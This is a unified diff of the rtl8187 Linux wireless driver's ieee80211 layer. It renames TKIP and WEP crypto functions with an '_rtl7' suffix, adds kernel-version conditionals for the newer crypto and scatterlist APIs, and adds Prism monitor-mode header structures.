WIRELESS_EXT >= 18 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -527,7 +665,7 @@ wireless_send_event(dev, IWEVMICHAELMICFAILURE, &wrqu, (char *) &ev); } #elif WIRELESS_EXT >= 15 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -543,7 +681,7 @@ wireless_send_event(dev, IWEVCUSTOM, &wrqu, buf); } #else /* WIRELESS_EXT >= 15 */ -static inline void ieee80211_michael_mic_failure(struct net_device *dev, +static inline void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -551,7 +689,7 @@ #endif /* WIRELESS_EXT >= 15 */ -static int ieee80211_michael_mic_verify(struct sk_buff *skb, int keyidx, +static int ieee80211_michael_mic_verify_rtl7(struct sk_buff *skb, int keyidx, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -560,10 +698,16 @@ if (!tkey->key_set) return -1; - michael_mic_hdr(skb, tkey->rx_hdr); - if (michael_mic(tkey, &tkey->key[24], tkey->rx_hdr, + michael_mic_hdr_rtl7(skb, tkey->rx_hdr); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) + if (michael_mic_rtl7(tkey, &tkey->key[24], tkey->rx_hdr, + skb->data + hdr_len, skb->len - 8 - hdr_len, mic)) + return -1; +#else + if (michael_mic_rtl7(tkey->rx_tfm_michael, &tkey->key[24], tkey->rx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, mic)) return -1; +#endif if (memcmp(mic, skb->data + skb->len - 8, 8) != 0) { struct ieee80211_hdr *hdr; hdr = (struct ieee80211_hdr *) skb->data; @@ -572,7 +716,7 @@ skb->dev ? skb->dev->name : "N/A", MAC_ARG(hdr->addr2), keyidx); if (skb->dev) - ieee80211_michael_mic_failure(skb->dev, hdr, keyidx); + ieee80211_michael_mic_failure_rtl7(skb->dev, hdr, keyidx); tkey->dot11RSNAStatsTKIPLocalMICFailures++; return -1; } @@ -588,18 +732,33 @@ } -static int ieee80211_tkip_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; int keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm = tkey->tfm_michael; struct crypto_tfm *tfm2 = tkey->tfm_arc4; +#else + struct crypto_hash *tfm = tkey->tx_tfm_michael; + struct crypto_blkcipher *tfm2 = tkey->tx_tfm_arc4; + struct crypto_hash *tfm3 = tkey->rx_tfm_michael; + struct crypto_blkcipher *tfm4 = tkey->rx_tfm_arc4; +#endif keyidx = tkey->key_idx; memset(tkey, 0, sizeof(*tkey)); tkey->key_idx = keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) tkey->tfm_michael = tfm; tkey->tfm_arc4 = tfm2; +#else + tkey->tx_tfm_michael = tfm; + tkey->tx_tfm_arc4 = tfm2; + tkey->rx_tfm_michael = tfm3; + tkey->rx_tfm_arc4 = tfm4; +#endif + if (len == TKIP_KEY_LEN) { memcpy(tkey->key, key, TKIP_KEY_LEN); tkey->key_set = 1; @@ -618,7 +777,7 @@ } -static int ieee80211_tkip_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -648,7 +807,7 @@ } -static char * ieee80211_tkip_print_stats(char *p, void *priv) +static char * ieee80211_tkip_print_stats_rtl7(char *p, void *priv) { struct ieee80211_tkip_data *tkip = priv; p += sprintf(p, "key[%d] alg=TKIP key_set=%d " @@ -675,34 +834,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_tkip = { +static struct ieee80211_crypto_ops ieee80211_crypt_tkip_rtl7 = { .name = "TKIP", - .init = ieee80211_tkip_init, - .deinit = ieee80211_tkip_deinit, - .encrypt_mpdu = ieee80211_tkip_encrypt, - .decrypt_mpdu = ieee80211_tkip_decrypt, - .encrypt_msdu = ieee80211_michael_mic_add, - .decrypt_msdu = ieee80211_michael_mic_verify, - .set_key = ieee80211_tkip_set_key, - .get_key = ieee80211_tkip_get_key, - .print_stats = ieee80211_tkip_print_stats, + .init = ieee80211_tkip_init_rtl7, + .deinit = ieee80211_tkip_deinit_rtl7, + .encrypt_mpdu = ieee80211_tkip_encrypt_rtl7, + .decrypt_mpdu = ieee80211_tkip_decrypt_rtl7, + .encrypt_msdu = ieee80211_michael_mic_add_rtl7, + .decrypt_msdu = ieee80211_michael_mic_verify_rtl7, + .set_key = ieee80211_tkip_set_key_rtl7, + .get_key = ieee80211_tkip_get_key_rtl7, + .print_stats = ieee80211_tkip_print_stats_rtl7, .extra_prefix_len = 4 + 4, /* IV + ExtIV */ .extra_postfix_len = 8 + 4, /* MIC + ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_tkip_init(void) +static int __init ieee80211_crypto_tkip_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_tkip); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -static void __exit ieee80211_crypto_tkip_exit(void) +static void __exit ieee80211_crypto_tkip_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_tkip); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -module_init(ieee80211_crypto_tkip_init); -module_exit(ieee80211_crypto_tkip_exit); +module_init(ieee80211_crypto_tkip_init_rtl7); +module_exit(ieee80211_crypto_tkip_exit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_wep.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_wep.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_wep.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_wep.c 2008-01-30 17:39:05.000000000 +0100 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -18,13 +17,24 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #include -#include #include +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: WEP"); MODULE_LICENSE("GPL"); @@ -36,11 +46,16 @@ u8 key[WEP_KEY_LEN + 1]; u8 key_len; u8 key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) struct crypto_tfm *tfm; +#else + struct crypto_blkcipher *rx_tfm; + struct crypto_blkcipher *tx_tfm; +#endif }; -static void * prism2_wep_init(int keyidx) +static void * prism2_wep_init_rtl7(int keyidx) { struct prism2_wep_data *priv; @@ -50,13 +65,30 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = keyidx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) priv->tfm = crypto_alloc_tfm("arc4", 0); if (priv->tfm == NULL) { printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " "crypto API arc4\n"); goto fail; } +#else + priv->tx_tfm = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->tx_tfm = NULL; + goto fail; + } + priv->rx_tfm = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->rx_tfm = NULL; + goto fail; + } +#endif /* start WEP IV from a random value */ get_random_bytes(&priv->iv, 4); @@ -64,19 +96,35 @@ fail: if (priv) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (priv->tfm) crypto_free_tfm(priv->tfm); +#else + if (priv->tx_tfm) + crypto_free_blkcipher(priv->tx_tfm); + if (priv->rx_tfm) + crypto_free_blkcipher(priv->rx_tfm); +#endif kfree(priv); } return NULL; } -static void prism2_wep_deinit(void *priv) +static void prism2_wep_deinit_rtl7(void *priv) { struct prism2_wep_data *_priv = priv; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (_priv && _priv->tfm) crypto_free_tfm(_priv->tfm); +#else + if (_priv) { + if (_priv->tx_tfm) + crypto_free_blkcipher(_priv->tx_tfm); + if (_priv->rx_tfm) + crypto_free_blkcipher(_priv->rx_tfm); + } +#endif kfree(priv); } @@ -87,13 +135,16 @@ * * WEP frame payload: IV + TX key idx, RC4(data), ICV = RC4(CRC32(data)) */ -static int prism2_wep_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, len; u8 key[WEP_KEY_LEN + 3]; u8 *pos, *icv; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = wep->tx_tfm }; +#endif if (skb_headroom(skb) < 4 || skb_tailroom(skb) < 4 || skb->len < hdr_len) @@ -134,13 +185,25 @@ icv[2] = crc >> 16; icv[3] = crc >> 24; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(wep->tfm, key, klen); +#else + crypto_blkcipher_setkey(wep->tx_tfm, key, klen); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = len + 4; - crypto_cipher_encrypt(wep->tfm, &sg, &sg, len + 4); +#else + sg_set_page(&sg, virt_to_page(pos), len + 4, offset_in_page(pos)); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) + crypto_cipher_encrypt(wep->tfm, &sg, &sg, len + 4); return 0; +#else + return crypto_blkcipher_encrypt(&desc, &sg, &sg, len + 4); +#endif } @@ -151,13 +214,16 @@ * Returns 0 if frame was decrypted successfully and ICV was correct and -1 on * failure. If frame is OK, IV and ICV will be removed. */ -static int prism2_wep_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, plen; u8 key[WEP_KEY_LEN + 3]; u8 keyidx, *pos, icv[4]; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = wep->rx_tfm }; +#endif if (skb->len < hdr_len + 8) return -1; @@ -178,11 +244,26 @@ /* Apply RC4 to data and compute CRC32 over decrypted data */ plen = skb->len - hdr_len - 8; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(wep->tfm, key, klen); +#else + crypto_blkcipher_setkey(wep->rx_tfm, key, klen); +#endif + +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = plen + 4; +#else + sg_set_page(&sg, virt_to_page(pos), plen + 4, offset_in_page(pos)); +#endif + +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_decrypt(wep->tfm, &sg, &sg, plen + 4); +#else + if(crypto_blkcipher_decrypt(&desc, &sg, &sg, plen + 4)) + return -7; +#endif crc = ~crc32_le(~0, pos, plen); icv[0] = crc; @@ -203,7 +284,7 @@ } -static int prism2_wep_set_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -217,7 +298,7 @@ } -static int prism2_wep_get_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -230,7 +311,7 @@ } -static char * prism2_wep_print_stats(char *p, void *priv) +static char * prism2_wep_print_stats_rtl7(char *p, void *priv) { struct prism2_wep_data *wep = priv; p += sprintf(p, "key[%d] alg=WEP len=%d\n", @@ -239,34 +320,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_wep = { +static struct ieee80211_crypto_ops ieee80211_crypt_wep_rtl7 = { .name = "WEP", - .init = prism2_wep_init, - .deinit = prism2_wep_deinit, - .encrypt_mpdu = prism2_wep_encrypt, - .decrypt_mpdu = prism2_wep_decrypt, + .init = prism2_wep_init_rtl7, + .deinit = prism2_wep_deinit_rtl7, + .encrypt_mpdu = prism2_wep_encrypt_rtl7, + .decrypt_mpdu = prism2_wep_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = prism2_wep_set_key, - .get_key = prism2_wep_get_key, - .print_stats = prism2_wep_print_stats, + .set_key = prism2_wep_set_key_rtl7, + .get_key = prism2_wep_get_key_rtl7, + .print_stats = prism2_wep_print_stats_rtl7, .extra_prefix_len = 4, /* IV */ .extra_postfix_len = 4, /* ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_wep_init(void) +static int __init ieee80211_crypto_wep_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_wep); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -static void __exit ieee80211_crypto_wep_exit(void) +static void __exit ieee80211_crypto_wep_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_wep); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -module_init(ieee80211_crypto_wep_init); -module_exit(ieee80211_crypto_wep_exit); +module_init(ieee80211_crypto_wep_init_rtl7); +module_exit(ieee80211_crypto_wep_exit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211.h rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211.h --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211.h 2006-06-06 04:57:56.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211.h 2008-01-30 17:38:11.000000000 +0100 @@ -120,7 +120,7 @@ static inline unsigned long msleep_interruptible_rtl(unsigned int msecs) { unsigned long timeout = MSECS(msecs) + 1; - + while (timeout) { set_current_state(TASK_UNINTERRUPTIBLE); timeout = schedule_timeout(timeout); @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -798,7 +814,7 @@ /* the card is not linked at all */ IEEE80211_NOLINK = 0, - + /* IEEE80211_ASSOCIATING* are for BSS client mode * the driver shall not perform RX filtering unless * the state is LINKED. @@ -806,31 +822,31 @@ * defaults to NOLINK for ALL the other states (including * LINKED_SCANNING) */ - + /* the association procedure will start (wq scheduling)*/ IEEE80211_ASSOCIATING, IEEE80211_ASSOCIATING_RETRY, - + /* the association procedure is sending AUTH request*/ IEEE80211_ASSOCIATING_AUTHENTICATING, - + /* the association procedure has successfully authentcated * and is sending association request */ IEEE80211_ASSOCIATING_AUTHENTICATED, - + /* the link is ok. the card associated to a BSS or linked * to a ibss cell or acting as an AP and creating the bss */ IEEE80211_LINKED, - + /* same as LINKED, but the driver shall apply RX filter * rules as we are in NO_LINK mode. As the card is still * logically linked, but it is doing a syncro site survey * then it will be back to LINKED state. */ IEEE80211_LINKED_SCANNING, - + }; #define DEFAULT_MAX_SCAN_AGE (15 * HZ) @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -870,7 +886,7 @@ struct net_device_stats stats; struct ieee80211_stats ieee_stats; struct ieee80211_softmac_stats softmac_stats; - + /* Probe / Beacon management */ struct list_head network_free_list; struct list_head network_list; @@ -881,7 +897,7 @@ int iw_mode; /* operating mode (IW_MODE_*) */ spinlock_t lock; - + int tx_headroom; /* Set to size of any additional room needed at front * of allocated Tx SKBs */ u32 config; @@ -924,11 +940,11 @@ * ad-hoc is a mixture ;-). * Note that in infrastructure mode, even when not associated, * fields bssid and essid may be valid (if wpa_set and essid_set - * are true) as thy carry the value set by the user via iwconfig + * are true) as thy carry the value set by the user via iwconfig */ struct ieee80211_network current_network; - + enum ieee80211_state state; int short_slot; @@ -936,33 +952,33 @@ int modulation; /* CCK, OFDM */ int freq_band; /* 2.4Ghz, 5.2Ghz, Mixed */ int abg_true; /* ABG flag */ - - /* used for forcing the ibss workqueue to terminate + + /* used for forcing the ibss workqueue to terminate * without wait for the syncro scan to terminate */ - short sync_scan_hurryup; - + short sync_scan_hurryup; + /* map of allowed channels. 0 is dummy */ // FIXME: remeber to default to a basic channel plan depending of the PHY type int channel_map[MAX_CHANNEL_NUMBER+1]; - + int rate; /* current rate */ int basic_rate; //FIXME: pleace callback, see if redundant with softmac_features short active_scan; - + /* this contains flags for selectively enable softmac support */ u16 softmac_features; - + /* if the sequence control field is not filled by HW */ u16 seq_ctrl; - + /* association procedure transaction sequence number */ u16 associate_seq; - + /* AID for RTXed association responses */ u16 assoc_id; - + /* power save mode related*/ short ps; short sta_sleep; @@ -970,147 +986,153 @@ struct tasklet_struct ps_task; u32 ps_th; u32 ps_tl; - + short raw_tx; /* used if IEEE_SOFTMAC_TX_QUEUE is set */ short queue_stop; short scanning; short proto_started; - + struct semaphore wx_sem; struct semaphore scan_sem; - - spinlock_t mgmt_tx_lock; + + spinlock_t mgmt_tx_lock; spinlock_t beacon_lock; short beacon_txing; short wap_set; short ssid_set; - + /* for discarding duplicated packets in IBSS */ struct list_head ibss_mac_hash[IEEE_IBSS_MAC_HASH_SIZE]; - + /* for discarding duplicated packets in BSS */ u16 last_seq_num; u16 last_frag_num; unsigned long last_packet_time; - + /* for PS mode */ unsigned long last_rx_ps_time; - + /* used if IEEE_SOFTMAC_SINGLE_QUEUE is set */ struct sk_buff *mgmt_queue_ring[MGMT_QUEUE_NUM]; int mgmt_queue_head; int mgmt_queue_tail; - - + + /* used if IEEE_SOFTMAC_TX_QUEUE is set */ struct tx_pending_t tx_pending; - + /* used if IEEE_SOFTMAC_ASSOCIATE is set */ struct timer_list associate_timer; /* used if IEEE_SOFTMAC_BEACONS is set */ struct timer_list beacon_timer; - + struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; - + struct workqueue_struct *wq; /* Callback functions */ void (*set_security)(struct net_device *dev, struct ieee80211_security *sec); - + /* Used to TX data frame by using txb structs. * this is not used if in the softmac_features * is set the flag IEEE_SOFTMAC_TX_QUEUE */ int (*hard_start_xmit)(struct ieee80211_txb *txb, struct net_device *dev); - + int (*reset_port)(struct net_device *dev); - /* Softmac-generated frames (mamagement) are TXed via this - * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is - * not set. As some cards may have different HW queues that + /* Softmac-generated frames (mamagement) are TXed via this + * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is + * not set. As some cards may have different HW queues that * one might want to use for data and management frames * the option to have two callbacks might be useful. * This fucntion can't sleep. */ int (*softmac_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev); - + /* used instead of hard_start_xmit (not softmac_hard_start_xmit) * if the IEEE_SOFTMAC_TX_QUEUE feature is used to TX data * frames. I the option IEEE_SOFTMAC_SINGLE_QUEUE is also set * then also management frames are sent via this callback. * This function can't sleep. - */ + */ void (*softmac_data_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev,int rate); /* stops the HW queue for DATA frames. Useful to avoid * waste time to TX data frame when we are reassociating * This function can sleep. - */ + */ void (*data_hard_stop)(struct net_device *dev); - + /* OK this is complementar to data_poll_hard_stop */ void (*data_hard_resume)(struct net_device *dev); - + /* ask to the driver to retune the radio . * This function can sleep. the driver should ensure * the radio has been swithced before return. */ void (*set_chan)(struct net_device *dev,short ch); - + /* These are not used if the ieee stack takes care of - * scanning (IEEE_SOFTMAC_SCAN feature set). + * scanning (IEEE_SOFTMAC_SCAN feature set). * In this case only the set_chan is used. * * The syncro version is similar to the start_scan but * does not return until all channels has been scanned. - * this is called in user context and should sleep, + * this is called in user context and should sleep, * it is called in a work_queue when swithcing to ad-hoc mode - * or in behalf of iwlist scan when the card is associated - * and root user ask for a scan. + * or in behalf of iwlist scan when the card is associated + * and root user ask for a scan. * the fucntion stop_scan should stop both the syncro and * background scanning and can sleep. - * The fucntion start_scan should initiate the background + * The fucntion start_scan should initiate the background * scanning and can't sleep. - */ + */ void (*scan_syncro)(struct net_device *dev); void (*start_scan)(struct net_device *dev); void (*stop_scan)(struct net_device *dev); - + /* indicate the driver that the link state is changed * for example it may indicate the card is associated now. - * Driver might be interested in this to apply RX filter - * rules or simply light the LINK led + * Driver might be interested in this to apply RX filter + * rules or simply light the LINK led */ void (*link_change)(struct net_device *dev); - + /* these two function indicates to the HW when to start - * and stop to send beacons. This is used when the + * and stop to send beacons. This is used when the * IEEE_SOFTMAC_BEACONS is not set. For now the * stop_send_bacons is NOT guaranteed to be called only * after start_send_beacons. */ void (*start_send_beacons) (struct net_device *dev); void (*stop_send_beacons) (struct net_device *dev); - + /* power save mode related */ void (*sta_wake_up) (struct net_device *dev); void (*ps_request_tx_ack) (struct net_device *dev); void (*enter_sleep_state) (struct net_device *dev, u32 th, u32 tl); short (*ps_is_queue_empty) (struct net_device *dev); - - + + /* This must be the last item so that it points to the data * allocated beyond this structure by alloc_ieee80211 */ u8 priv[0]; @@ -1148,18 +1170,18 @@ #define IEEE_SOFTMAC_SINGLE_QUEUE (1<<8) /* Generate beacons. The stack will enqueue beacons - * to the card - */ + * to the card + */ #define IEEE_SOFTMAC_BEACONS (1<<6) -extern inline void *ieee80211_priv(struct net_device *dev) +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1197,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1223,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1251,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); - -extern int ieee80211_xmit(struct sk_buff *skb, + +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff 